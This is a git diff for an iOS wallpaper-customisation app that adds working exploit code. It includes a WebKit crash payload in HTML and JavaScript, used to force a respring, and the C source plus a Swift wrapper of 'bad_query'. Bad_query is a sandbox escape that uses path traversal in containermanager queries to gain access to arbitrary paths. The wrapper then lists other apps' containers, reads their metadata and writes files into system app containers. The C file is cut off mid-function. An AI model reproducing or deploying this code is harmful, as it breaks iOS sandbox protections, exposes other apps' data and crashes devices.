@@ -0,0 +1,124 @@
|
|||||||
|
//
|
||||||
|
// RespringHelper.swift
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Mond-style instant respring (WebKit GPU crash @neonmodder123).
|
||||||
|
// No VC present/dismiss chain — WKWebView on a top-level window, load immediately.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
import UIKit
|
||||||
|
import WebKit
|
||||||
|
import ObjectiveC
|
||||||
|
|
||||||
|
enum RespringHelper {
|
||||||
|
|
||||||
|
/// Keep the respring window alive until the process dies.
|
||||||
|
private static var stickyWindow: UIWindow?
|
||||||
|
private static var stickyWebView: WKWebView?
|
||||||
|
|
||||||
|
/// Direct crash payload (inner document from Mond — no outer iframe delay).
|
||||||
|
/// Credit: @neonmodder123 / Mond
|
||||||
|
private static let crashHTML = """
|
||||||
|
<!DOCTYPE html><html><head><meta name="viewport" content="width=device-width"></head><body><script>
|
||||||
|
(function(){
|
||||||
|
var c=document.createElement('div');
|
||||||
|
c.style.cssText='perspective:1px;perspective-origin:9999999% 9999999%;';
|
||||||
|
document.body.appendChild(c);
|
||||||
|
for(var i=0;i<500;i++){
|
||||||
|
var d=document.createElement('div');
|
||||||
|
d.style.cssText='position:absolute;width:100vw;height:100vh;backdrop-filter:blur(100px);-webkit-backdrop-filter:blur(100px);transform:translate3d(100000px,100000px,'+i+'px) rotateY(90deg);';
|
||||||
|
c.appendChild(d);
|
||||||
|
}
|
||||||
|
setInterval(function(){
|
||||||
|
try{navigator.share({title:'R',text:'R'.repeat(100000)});}catch(e){}
|
||||||
|
try{crypto.getRandomValues(new Uint8Array(1024*1024*10));}catch(e){}
|
||||||
|
},0);
|
||||||
|
})();
|
||||||
|
</script></body></html>
|
||||||
|
"""
|
||||||
|
|
||||||
|
/// Instant full respring (Mond path). Safe under LiveContainer.
|
||||||
|
static func respring() {
|
||||||
|
#if targetEnvironment(simulator)
|
||||||
|
print("respring skipped on simulator")
|
||||||
|
return
|
||||||
|
#else
|
||||||
|
// Must be main thread for UIWindow / WKWebView
|
||||||
|
if !Thread.isMainThread {
|
||||||
|
DispatchQueue.main.async { fireNow() }
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fireNow()
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
static func respringNow() { respring() }
|
||||||
|
|
||||||
|
private static func fireNow() {
|
||||||
|
UIImpactFeedbackGenerator(style: .heavy).impactOccurred()
|
||||||
|
|
||||||
|
// 1) Kill any alerts instantly so nothing blocks rendering
|
||||||
|
currentUIAlertController?.dismiss(animated: false)
|
||||||
|
currentUIAlertController = nil
|
||||||
|
|
||||||
|
// 2) Build WKWebView + load crash HTML BEFORE showing window (starts process ASAP)
|
||||||
|
let config = WKWebViewConfiguration()
|
||||||
|
config.websiteDataStore = .nonPersistent()
|
||||||
|
let prefs = WKWebpagePreferences()
|
||||||
|
prefs.allowsContentJavaScript = true
|
||||||
|
config.defaultWebpagePreferences = prefs
|
||||||
|
// Shared process pool warms slightly faster on repeat
|
||||||
|
config.processPool = WKProcessPool()
|
||||||
|
|
||||||
|
let webView = WKWebView(frame: UIScreen.main.bounds, configuration: config)
|
||||||
|
webView.isOpaque = false
|
||||||
|
webView.backgroundColor = .black
|
||||||
|
webView.scrollView.isScrollEnabled = false
|
||||||
|
webView.scrollView.backgroundColor = .black
|
||||||
|
|
||||||
|
// Load payload immediately — don't wait for layout/appear
|
||||||
|
webView.loadHTMLString(crashHTML, baseURL: URL(string: "about:blank"))
|
||||||
|
stickyWebView = webView
|
||||||
|
|
||||||
|
// 3) Slap it on a top-level window (no present animation, no host VC)
|
||||||
|
let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene }
|
||||||
|
let scene = scenes.first(where: { $0.activationState == .foregroundActive }) ?? scenes.first
|
||||||
|
|
||||||
|
let window: UIWindow
|
||||||
|
if let scene {
|
||||||
|
window = UIWindow(windowScene: scene)
|
||||||
|
window.frame = scene.coordinateSpace.bounds
|
||||||
|
} else {
|
||||||
|
window = UIWindow(frame: UIScreen.main.bounds)
|
||||||
|
}
|
||||||
|
window.windowLevel = .alert + 100
|
||||||
|
window.backgroundColor = .black
|
||||||
|
window.isHidden = false
|
||||||
|
|
||||||
|
let host = UIViewController()
|
||||||
|
host.view.backgroundColor = .black
|
||||||
|
host.view.addSubview(webView)
|
||||||
|
webView.frame = host.view.bounds
|
||||||
|
webView.autoresizingMask = [.flexibleWidth, .flexibleHeight]
|
||||||
|
window.rootViewController = host
|
||||||
|
window.makeKeyAndVisible()
|
||||||
|
stickyWindow = window
|
||||||
|
|
||||||
|
// Force a layout pass so WebKit starts compositing now
|
||||||
|
window.layoutIfNeeded()
|
||||||
|
webView.setNeedsLayout()
|
||||||
|
webView.layoutIfNeeded()
|
||||||
|
|
||||||
|
// Re-load once more after attach (some LC builds only execute JS after in-hierarchy)
|
||||||
|
webView.loadHTMLString(crashHTML, baseURL: nil)
|
||||||
|
|
||||||
|
// 4) Outside LiveContainer, also hit XPC immediately (no delay)
|
||||||
|
let inLC = ProcessInfo.processInfo.environment["LC_HOME_PATH"] != nil
|
||||||
|
|| Bundle.main.bundlePath.contains("LiveContainer")
|
||||||
|
if !inLC {
|
||||||
|
restartFrontboard()
|
||||||
|
restartBackboard()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -23,11 +23,23 @@ class SymHandler {
|
|||||||
return getDocumentsDirectory()
|
return getDocumentsDirectory()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static func getPosterBoardHashURL() -> URL {
|
||||||
|
return getLCDocumentsDirectory().appendingPathComponent("NuggetPosterBoardHash")
|
||||||
|
}
|
||||||
|
static func getCarPlayHashURL() -> URL {
|
||||||
|
return getLCDocumentsDirectory().appendingPathComponent("NuggetCarPlayWallpaperHash")
|
||||||
|
}
|
||||||
|
|
||||||
private static func getSymlinkURL() -> URL {
|
private static func getSymlinkURL() -> URL {
|
||||||
return getLCDocumentsDirectory().appendingPathComponent(".Trash", conformingTo: .symbolicLink)
|
return getLCDocumentsDirectory().appendingPathComponent(".Trash", conformingTo: .symbolicLink)
|
||||||
}
|
}
|
||||||
|
|
||||||
// MARK: Symlink Creation
|
/// Prefer bad_query (iOS 26/27 sandbox escape); fall back to .Trash symlink exploit.
|
||||||
|
static var prefersBadQuery: Bool {
|
||||||
|
BadQuery.isAvailable
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: Symlink Creation (legacy exploit for older iOS)
|
||||||
static func createSymlink(to path: String) throws -> URL {
|
static func createSymlink(to path: String) throws -> URL {
|
||||||
// returns the url of the symlink
|
// returns the url of the symlink
|
||||||
let symURL = getSymlinkURL()
|
let symURL = getSymlinkURL()
|
||||||
@@ -43,10 +55,59 @@ class SymHandler {
|
|||||||
return try createSymlink(to: "/var/mobile/Containers/Data/Application/\(appHash)")
|
return try createSymlink(to: "/var/mobile/Containers/Data/Application/\(appHash)")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static func getExtensionVersion() -> String {
|
||||||
|
if #available(iOS 17.0, *) {
|
||||||
|
return "61"
|
||||||
|
}
|
||||||
|
return "59"
|
||||||
|
}
|
||||||
|
|
||||||
static func createDescriptorsSymlink(appHash: String, ext: String) throws -> URL {
|
static func createDescriptorsSymlink(appHash: String, ext: String) throws -> URL {
|
||||||
// create a symlink directly to the descriptors
|
// create a symlink directly to the descriptors
|
||||||
print("linking to \(appHash)/Library/Application Support/PRBPosterExtensionDataStore/61/Extensions/\(ext)/descriptors")
|
let extVer = SymHandler.getExtensionVersion()
|
||||||
return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/61/Extensions/\(ext)/descriptors")
|
print("linking to \(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors")
|
||||||
|
return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors")
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: Direct write via bad_query
|
||||||
|
|
||||||
|
/// Copy descriptor folders into PosterBoard descriptors using sandbox escape.
|
||||||
|
static func writeDescriptorsViaBadQuery(appHash: String, ext: String, descriptorFolders: [URL]) throws {
|
||||||
|
let destPath = BadQuery.descriptorsPath(appHash: appHash, ext: ext)
|
||||||
|
print("bad_query writing to \(destPath)")
|
||||||
|
|
||||||
|
// Ensure descriptors directory exists (open parent chain if needed)
|
||||||
|
try BadQuery.ensureDirectory(at: destPath)
|
||||||
|
|
||||||
|
let handle = try BadQuery.consume(path: destPath, create: true)
|
||||||
|
defer { handle.release() }
|
||||||
|
|
||||||
|
let fm = FileManager.default
|
||||||
|
for descr in descriptorFolders {
|
||||||
|
guard descr.lastPathComponent != "__MACOSX" else { continue }
|
||||||
|
let destName = UUID().uuidString
|
||||||
|
let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(destName)
|
||||||
|
if fm.fileExists(atPath: destURL.path) {
|
||||||
|
try fm.removeItem(at: destURL)
|
||||||
|
}
|
||||||
|
try fm.copyItem(at: descr, to: destURL)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Copy files into an absolute directory under an app container via bad_query.
|
||||||
|
static func writeFilesViaBadQuery(toDirectory destPath: String, files: [URL]) throws {
|
||||||
|
try BadQuery.ensureDirectory(at: destPath)
|
||||||
|
let handle = try BadQuery.consume(path: destPath, create: true)
|
||||||
|
defer { handle.release() }
|
||||||
|
|
||||||
|
let fm = FileManager.default
|
||||||
|
for file in files {
|
||||||
|
let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(file.lastPathComponent)
|
||||||
|
if fm.fileExists(atPath: destURL.path) {
|
||||||
|
try fm.removeItem(at: destURL)
|
||||||
|
}
|
||||||
|
try fm.copyItem(at: file, to: destURL)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
static func cleanup() {
|
static func cleanup() {
|
||||||
|
|||||||
@@ -102,7 +102,8 @@ class VideoHandler {
|
|||||||
print("Failed to get video track")
|
print("Failed to get video track")
|
||||||
throw AVError(.decodeFailed)
|
throw AVError(.decodeFailed)
|
||||||
}
|
}
|
||||||
let size = track.naturalSize.applying(track.preferredTransform)
|
let preferredTransform = track.preferredTransform
|
||||||
|
let size = track.naturalSize.applying(preferredTransform)
|
||||||
let width = Int(abs(size.width))
|
let width = Int(abs(size.width))
|
||||||
let height = Int(abs(size.height))
|
let height = Int(abs(size.height))
|
||||||
let fps = track.nominalFrameRate
|
let fps = track.nominalFrameRate
|
||||||
@@ -145,7 +146,7 @@ class VideoHandler {
|
|||||||
let filePathName = "assets/\(name)"
|
let filePathName = "assets/\(name)"
|
||||||
UIApplication.shared.change(title: NSLocalizedString("Generating Video...", comment: ""), body: String(format: NSLocalizedString("Creating %@...", comment: "the message for the current image that is being generated"), filePathName))
|
UIApplication.shared.change(title: NSLocalizedString("Generating Video...", comment: ""), body: String(format: NSLocalizedString("Creating %@...", comment: "the message for the current image that is being generated"), filePathName))
|
||||||
|
|
||||||
let ciImage = CIImage(cvPixelBuffer: imageBuffer)
|
let ciImage = CIImage(cvPixelBuffer: imageBuffer).transformed(by: preferredTransform)
|
||||||
let context = CIContext()
|
let context = CIContext()
|
||||||
if let cgImage = context.createCGImage(ciImage, from: ciImage.extent) {
|
if let cgImage = context.createCGImage(ciImage, from: ciImage.extent) {
|
||||||
if let img = cgImage.jpg {
|
if let img = cgImage.jpg {
|
||||||
|
|||||||
@@ -0,0 +1,30 @@
|
|||||||
|
//
|
||||||
|
// APIError.swift
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Created by lemin on 7/15/25.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
|
||||||
|
enum APIError: LocalizedError {
|
||||||
|
// Throw when cannot connect to server
|
||||||
|
case connectionFailed
|
||||||
|
|
||||||
|
// Throw when it fails to get the repo hash
|
||||||
|
case repoHashError
|
||||||
|
|
||||||
|
// Throw in all other cases
|
||||||
|
case unexpected(info: String)
|
||||||
|
|
||||||
|
public var errorDescription: String? {
|
||||||
|
switch self {
|
||||||
|
case .connectionFailed:
|
||||||
|
return NSLocalizedString("Could not connect to server", comment: "")
|
||||||
|
case .repoHashError:
|
||||||
|
return NSLocalizedString("Unable to obtain repo hash. Maybe update to the latest version?", comment: "")
|
||||||
|
case .unexpected(let info):
|
||||||
|
return info
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,282 @@
|
|||||||
|
//
|
||||||
|
// BadQuery.swift
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Swift wrapper around forcequitOS/bad_query sandbox escape
|
||||||
|
// (container_query path traversal via MobileGestalt SystemGroup).
|
||||||
|
// Supports iOS 26.0 – 26.6.1 / 27.0b4+.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
|
||||||
|
enum BadQueryError: LocalizedError {
|
||||||
|
case invalidPath
|
||||||
|
case missingPath
|
||||||
|
case resolveFailed
|
||||||
|
case createFailed
|
||||||
|
case outsideSandbox
|
||||||
|
case kernelRejected
|
||||||
|
case asprintfFailed
|
||||||
|
case unknown(Int64)
|
||||||
|
case listFailed
|
||||||
|
case containerNotFound(String)
|
||||||
|
|
||||||
|
var errorDescription: String? {
|
||||||
|
switch self {
|
||||||
|
case .invalidPath:
|
||||||
|
return "Path must be absolute."
|
||||||
|
case .missingPath:
|
||||||
|
return "Target path does not exist."
|
||||||
|
case .resolveFailed:
|
||||||
|
return "Failed to resolve containermanager symbols."
|
||||||
|
case .createFailed:
|
||||||
|
return "Failed to create container query."
|
||||||
|
case .outsideSandbox:
|
||||||
|
return "Path is outside containermanager sandbox."
|
||||||
|
case .kernelRejected:
|
||||||
|
return "Kernel refused to issue a sandbox extension."
|
||||||
|
case .asprintfFailed:
|
||||||
|
return "Failed to build path traversal string."
|
||||||
|
case .unknown(let code):
|
||||||
|
return "bad_query failed with code \(code)."
|
||||||
|
case .listFailed:
|
||||||
|
return "Failed to enumerate containers (fsgetpath)."
|
||||||
|
case .containerNotFound(let bundleId):
|
||||||
|
return "Could not find container for \(bundleId)."
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static func from(code: Int64) -> BadQueryError {
|
||||||
|
switch code {
|
||||||
|
case -255: return .invalidPath
|
||||||
|
case -254: return .missingPath
|
||||||
|
case -1: return .resolveFailed
|
||||||
|
case -2: return .createFailed
|
||||||
|
case -3: return .outsideSandbox
|
||||||
|
case -4: return .kernelRejected
|
||||||
|
case -5: return .asprintfFailed
|
||||||
|
default: return .unknown(code)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// RAII-style sandbox extension handle.
|
||||||
|
final class BadQueryHandle {
|
||||||
|
private(set) var handle: Int64
|
||||||
|
let path: String
|
||||||
|
|
||||||
|
init(handle: Int64, path: String) {
|
||||||
|
self.handle = handle
|
||||||
|
self.path = path
|
||||||
|
}
|
||||||
|
|
||||||
|
deinit {
|
||||||
|
release()
|
||||||
|
}
|
||||||
|
|
||||||
|
func release() {
|
||||||
|
guard handle >= 0 else { return }
|
||||||
|
bad_query_release(handle)
|
||||||
|
handle = -1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
enum BadQuery {
|
||||||
|
/// PosterBoard / related bundle identifiers.
|
||||||
|
static let posterBoardBundleId = "com.apple.PosterBoard"
|
||||||
|
static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper"
|
||||||
|
|
||||||
|
// MARK: - Availability
|
||||||
|
|
||||||
|
/// True when the MobileGestalt system-group query route resolves symbols.
|
||||||
|
/// Cheap probe: only checks dlsym path by attempting a known-existing system path with create=true.
|
||||||
|
static var isAvailable: Bool {
|
||||||
|
// Probe with a path that should always exist on device; create=true skips lstat
|
||||||
|
// so we only fail if symbols/query plumbing is broken (patched OS).
|
||||||
|
let probe = "/var/mobile"
|
||||||
|
var cPath = probe.utf8CString.map { Int8($0) }
|
||||||
|
let result = bad_query(&cPath, true, nil, false)
|
||||||
|
if result >= 0 {
|
||||||
|
bad_query_release(result)
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
// -3/-4 mean query ran but path/token failed; symbols still work
|
||||||
|
if result == -3 || result == -4 || result == -254 {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
// -1/-2 = symbols/query broken
|
||||||
|
return result != -1 && result != -2
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: - Consume / Release
|
||||||
|
|
||||||
|
/// Obtain a sandbox extension for an absolute path.
|
||||||
|
/// - Parameters:
|
||||||
|
/// - path: Absolute filesystem path
|
||||||
|
/// - create: If true, skip existence check (use when lstat is blocked by sandbox)
|
||||||
|
/// - groupIdentifier: Optional app group; nil uses MobileGestalt SystemGroup (iOS 27 preferred)
|
||||||
|
/// - isGroup: iOS 26 App Group flag route
|
||||||
|
@discardableResult
|
||||||
|
static func consume(
|
||||||
|
path: String,
|
||||||
|
create: Bool = false,
|
||||||
|
groupIdentifier: String? = nil,
|
||||||
|
isGroup: Bool = false
|
||||||
|
) throws -> BadQueryHandle {
|
||||||
|
guard path.hasPrefix("/") else { throw BadQueryError.invalidPath }
|
||||||
|
|
||||||
|
var cPath = path.utf8CString.map { Int8($0) }
|
||||||
|
let handle: Int64
|
||||||
|
if let group = groupIdentifier {
|
||||||
|
var cGroup = group.utf8CString.map { Int8($0) }
|
||||||
|
handle = bad_query(&cPath, create, &cGroup, isGroup)
|
||||||
|
} else {
|
||||||
|
handle = bad_query(&cPath, create, nil, isGroup)
|
||||||
|
}
|
||||||
|
|
||||||
|
guard handle >= 0 else {
|
||||||
|
// Retry with create=true if existence check failed under sandbox
|
||||||
|
if !create && handle == -254 {
|
||||||
|
return try consume(path: path, create: true, groupIdentifier: groupIdentifier, isGroup: isGroup)
|
||||||
|
}
|
||||||
|
throw BadQueryError.from(code: handle)
|
||||||
|
}
|
||||||
|
return BadQueryHandle(handle: handle, path: path)
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: - Listing
|
||||||
|
|
||||||
|
/// Enumerate immediate children under `path` via fsgetpath inode scan.
|
||||||
|
static func list(path: String, maxInode: Int64 = 2_000_000) throws -> [String] {
|
||||||
|
var cPath = path.utf8CString.map { Int8($0) }
|
||||||
|
guard let raw = bad_query_list(&cPath, maxInode) else {
|
||||||
|
throw BadQueryError.listFailed
|
||||||
|
}
|
||||||
|
defer { free(raw) }
|
||||||
|
let str = String(cString: raw)
|
||||||
|
return str
|
||||||
|
.split(whereSeparator: \.isNewline)
|
||||||
|
.map(String.init)
|
||||||
|
.filter { !$0.isEmpty }
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: - Container discovery
|
||||||
|
|
||||||
|
private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist"
|
||||||
|
|
||||||
|
/// Read MCMMetadataIdentifier from a container root, using bad_query for access.
|
||||||
|
static func readBundleId(fromContainerPath containerPath: String) -> String? {
|
||||||
|
let metaPath = (containerPath as NSString).appendingPathComponent(metadataFileName)
|
||||||
|
guard let token = try? consume(path: metaPath, create: true) else { return nil }
|
||||||
|
defer { token.release() }
|
||||||
|
|
||||||
|
guard let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any] else {
|
||||||
|
// Some layouts use a non-hidden name
|
||||||
|
let alt = (containerPath as NSString).appendingPathComponent("com.apple.mobile_container_manager.metadata.plist")
|
||||||
|
if let altToken = try? consume(path: alt, create: true) {
|
||||||
|
defer { altToken.release() }
|
||||||
|
if let d = NSDictionary(contentsOfFile: alt) as? [String: Any] {
|
||||||
|
return d["MCMMetadataIdentifier"] as? String
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return dict["MCMMetadataIdentifier"] as? String
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Find application container UUID for a bundle identifier (on-device, no PC).
|
||||||
|
static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String {
|
||||||
|
let roots = searchRoots ?? [
|
||||||
|
"/var/mobile/Containers/Data/Application",
|
||||||
|
"/var/mobile/Containers/Data/InternalDaemon",
|
||||||
|
"/var/mobile/Containers/Data/PluginKitPlugin"
|
||||||
|
]
|
||||||
|
|
||||||
|
for root in roots {
|
||||||
|
let children: [String]
|
||||||
|
do {
|
||||||
|
children = try list(path: root)
|
||||||
|
} catch {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
for child in children {
|
||||||
|
let uuid = (child as NSString).lastPathComponent
|
||||||
|
// Normalize to the root we know
|
||||||
|
let containerPath = "\(root)/\(uuid)"
|
||||||
|
if let id = readBundleId(fromContainerPath: containerPath), id == targetBundleId {
|
||||||
|
return uuid
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw BadQueryError.containerNotFound(targetBundleId)
|
||||||
|
}
|
||||||
|
|
||||||
|
static func findPosterBoardHash() throws -> String {
|
||||||
|
try findAppHash(bundleId: posterBoardBundleId)
|
||||||
|
}
|
||||||
|
|
||||||
|
static func findCarPlayHash() throws -> String {
|
||||||
|
try findAppHash(bundleId: carPlayWallpaperBundleId)
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: - Path helpers
|
||||||
|
|
||||||
|
static func applicationContainerPath(appHash: String) -> String {
|
||||||
|
"/var/mobile/Containers/Data/Application/\(appHash)"
|
||||||
|
}
|
||||||
|
|
||||||
|
static func descriptorsPath(appHash: String, ext: String) -> String {
|
||||||
|
let ver = SymHandler.getExtensionVersion()
|
||||||
|
return applicationContainerPath(appHash: appHash)
|
||||||
|
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions/\(ext)/descriptors"
|
||||||
|
}
|
||||||
|
|
||||||
|
static func carPlayCachePath(appHash: String) -> String {
|
||||||
|
applicationContainerPath(appHash: appHash)
|
||||||
|
+ "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: - File ops under extension
|
||||||
|
|
||||||
|
/// Copy a directory or file into `destinationDirectory` (must already be accessible via handle).
|
||||||
|
static func copyItem(at source: URL, intoDestinationDirectory destDir: String, named name: String? = nil) throws {
|
||||||
|
let destName = name ?? source.lastPathComponent
|
||||||
|
let destURL = URL(fileURLWithPath: destDir).appendingPathComponent(destName)
|
||||||
|
let fm = FileManager.default
|
||||||
|
if fm.fileExists(atPath: destURL.path) {
|
||||||
|
try fm.removeItem(at: destURL)
|
||||||
|
}
|
||||||
|
try fm.copyItem(at: source, to: destURL)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Ensure a directory exists at path while holding a parent extension if needed.
|
||||||
|
static func ensureDirectory(at path: String) throws {
|
||||||
|
let fm = FileManager.default
|
||||||
|
if fm.fileExists(atPath: path) { return }
|
||||||
|
|
||||||
|
// Walk up to find an existing ancestor we can open, then create intermediates
|
||||||
|
let components = path.split(separator: "/").map(String.init)
|
||||||
|
var built = ""
|
||||||
|
var lastExisting = ""
|
||||||
|
for part in components {
|
||||||
|
built += "/" + part
|
||||||
|
if fm.fileExists(atPath: built) {
|
||||||
|
lastExisting = built
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if lastExisting.isEmpty {
|
||||||
|
// Get extension on the full path with create=true and mkdir
|
||||||
|
let handle = try consume(path: path, create: true)
|
||||||
|
defer { handle.release() }
|
||||||
|
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
let handle = try consume(path: lastExisting, create: true)
|
||||||
|
defer { handle.release() }
|
||||||
|
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
//
|
||||||
|
// Pocket-Poster-Bridging-Header.h
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Exposes C exploit helpers to Swift.
|
||||||
|
//
|
||||||
|
|
||||||
|
#import "bad_query.h"
|
||||||
|
#import "xpc_crash.h"
|
||||||
@@ -0,0 +1,183 @@
|
|||||||
|
//
|
||||||
|
// bad_query.c
|
||||||
|
// bad_query
|
||||||
|
//
|
||||||
|
// Created by Taj C on 7/21/26.
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "bad_query.h"
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <dlfcn.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <xpc/xpc.h>
|
||||||
|
|
||||||
|
#include <sys/mount.h>
|
||||||
|
#include <sys/fsgetpath.h>
|
||||||
|
|
||||||
|
typedef void *(*container_query_create_fn)(void);
|
||||||
|
typedef void (*container_query_set_class_fn)(void *, uint64_t);
|
||||||
|
typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t);
|
||||||
|
typedef void (*container_query_set_flags_fn)(void *, uint64_t);
|
||||||
|
typedef void (*container_query_set_part_fn)(void *, uint64_t);
|
||||||
|
typedef void (*container_query_set_part_domain_fn)(void *, const char *);
|
||||||
|
typedef void *(*container_query_get_single_result_fn)(void *);
|
||||||
|
typedef void (*container_query_free_fn)(void *);
|
||||||
|
typedef char *(*container_copy_sandbox_token_fn)(void *);
|
||||||
|
typedef int64_t (*sandbox_extension_consume_fn)(const char *);
|
||||||
|
typedef int (*sandbox_extension_release_fn)(int64_t);
|
||||||
|
|
||||||
|
int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group) {
|
||||||
|
// Sanity check our path and check if something already exists there
|
||||||
|
if (!path || path[0] != '/') return -255; // Not an absolute path
|
||||||
|
if (!create) {
|
||||||
|
struct stat st;
|
||||||
|
if (lstat(path, &st) != 0) return -254; // File is missing, so we'll return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Now the fun begins
|
||||||
|
void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL);
|
||||||
|
if (!mgr) return -1; // Failed to dlopen
|
||||||
|
|
||||||
|
// Resolve functions
|
||||||
|
container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create");
|
||||||
|
container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class");
|
||||||
|
container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers");
|
||||||
|
container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags");
|
||||||
|
container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part");
|
||||||
|
container_query_set_part_domain_fn query_set_part_domain = (container_query_set_part_domain_fn)dlsym(mgr, "container_query_operation_set_part_domain");
|
||||||
|
container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result");
|
||||||
|
container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free");
|
||||||
|
container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token");
|
||||||
|
sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume");
|
||||||
|
|
||||||
|
int64_t handle = -1;
|
||||||
|
if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_set_part_domain || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) {
|
||||||
|
dlclose(mgr);
|
||||||
|
return -1; // Failed to resolve a function
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create query
|
||||||
|
void *query = query_create();
|
||||||
|
if (!query) {
|
||||||
|
dlclose(mgr);
|
||||||
|
return -2; // Failed to create query
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set up query
|
||||||
|
// Two routes here, supply an App Group you control (to access other App Groups on iOS 26) or don't, and use MobileGestalt's SystemGroup as a target instead. If targeting iOS 26 and trying to access App Groups, also set is_group to true to use the correct flags.
|
||||||
|
xpc_object_t identifier;
|
||||||
|
if (group_identifier == NULL) {
|
||||||
|
query_set_class(query, 13); // Class 13 (MCMSharedSystemDataContainer) routes to containermanagerd_system
|
||||||
|
identifier = xpc_string_create("systemgroup.com.apple.mobilegestaltcache");
|
||||||
|
} else {
|
||||||
|
query_set_class(query, 7); // Class 7 (MCMSharedDataContainer) routes to containermanagerd
|
||||||
|
identifier = xpc_string_create(group_identifier);
|
||||||
|
}
|
||||||
|
query_set_group_identifiers(query, identifier);
|
||||||
|
query_set_part(query, 3); // Part determines our starting point, part 3 is Library/Caches
|
||||||
|
char *part = NULL;
|
||||||
|
// Oldest trick in the book. Basic path traversal.
|
||||||
|
if (group_identifier == NULL) {
|
||||||
|
if (asprintf(&part, "../../../../../../../..%s", path) != -1) {
|
||||||
|
query_set_part_domain(query, part);
|
||||||
|
} else {
|
||||||
|
xpc_release(identifier);
|
||||||
|
query_free(query);
|
||||||
|
dlclose(mgr);
|
||||||
|
return -5; // asprintf failed for some reason
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// We have to go one level higher to get to / from an App Group
|
||||||
|
if (asprintf(&part, "../../../../../../../../..%s", path) != -1) {
|
||||||
|
query_set_part_domain(query, part);
|
||||||
|
} else {
|
||||||
|
xpc_release(identifier);
|
||||||
|
query_free(query);
|
||||||
|
dlclose(mgr);
|
||||||
|
return -5; // Same thing
|
